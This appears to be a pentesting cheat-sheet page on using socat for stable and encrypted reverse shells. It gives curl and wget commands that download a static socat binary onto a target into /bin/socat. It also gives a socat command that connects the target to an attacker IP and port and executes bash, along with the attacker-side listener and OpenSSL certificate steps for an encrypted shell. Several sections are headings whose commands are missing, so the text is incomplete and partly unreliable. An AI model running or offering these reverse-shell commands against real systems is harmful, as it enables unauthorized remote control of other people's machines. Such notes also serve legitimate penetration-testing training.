socat

Using basic methods such as netcat will generate a shell that might not be stable: terminates with ctrl+Z, non-interactive shell, etc. Alternative methods are available:

Socat is generally more stable on Linux systems compared to Windows (target machine). As socat might not be installed on all target Linux systems, it will need to be installed. However, the common method of using apt install or apt-get install is not ideal as it requires multiple dependencies and other possible configurations.

Instead, a static compiled binary (without dependencies) can be installed from a direct HTTP URL on the target machine using tools such as curl or wget. Link: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true

$ curl https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true --output /bin/socat
$ wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true -O /bin/socat

Note: The output directory depends on a few factors such as the current working directory, or the value of the $SHELLenvironment variable. This is important to ensure the installed binary can be executed from the target machine.

Hosting the binary on a publicly accessible attacker-controlled machine

The binary can also be hosted on another attacker-controlled machine on the internet, and be accessed via a simple Python web server running on that machine.

Reverse shell

Target machine (initiate revere shell connection)

$ socat tcp:[attacker_ip]:[attacker_port] EXEC:"bash -li

Attacker machine (listening)

$ socat tcp-l:[listen_port] -

Best reverse shell experience

Target machine

Attacker machine

Encrypted shell with OpenSSL

Creating a self-signed certificate (on the attacker machine)

  1. req: Specifies to create a certificate request or certificate.

  • In this case, the -x509 flag is specified, which indicates to create a self-signed certificate

  1. --newkeyrsa:2048: This specifies that a new private key should be generated with the RSA algorithm, using a key size of 2048 bits.

Merge the two created files shell.key and shell.crt to the file shell.pem

Reverse shell

Listen on attacker machine

  • cert=shell.pem: Specify to use the certificateshell.pem

  • verify=0: This tells OpenSSL to not validate the certificate

Connect from the target machine

Stable encrypted reverse shell

Attacker

Target

Last updated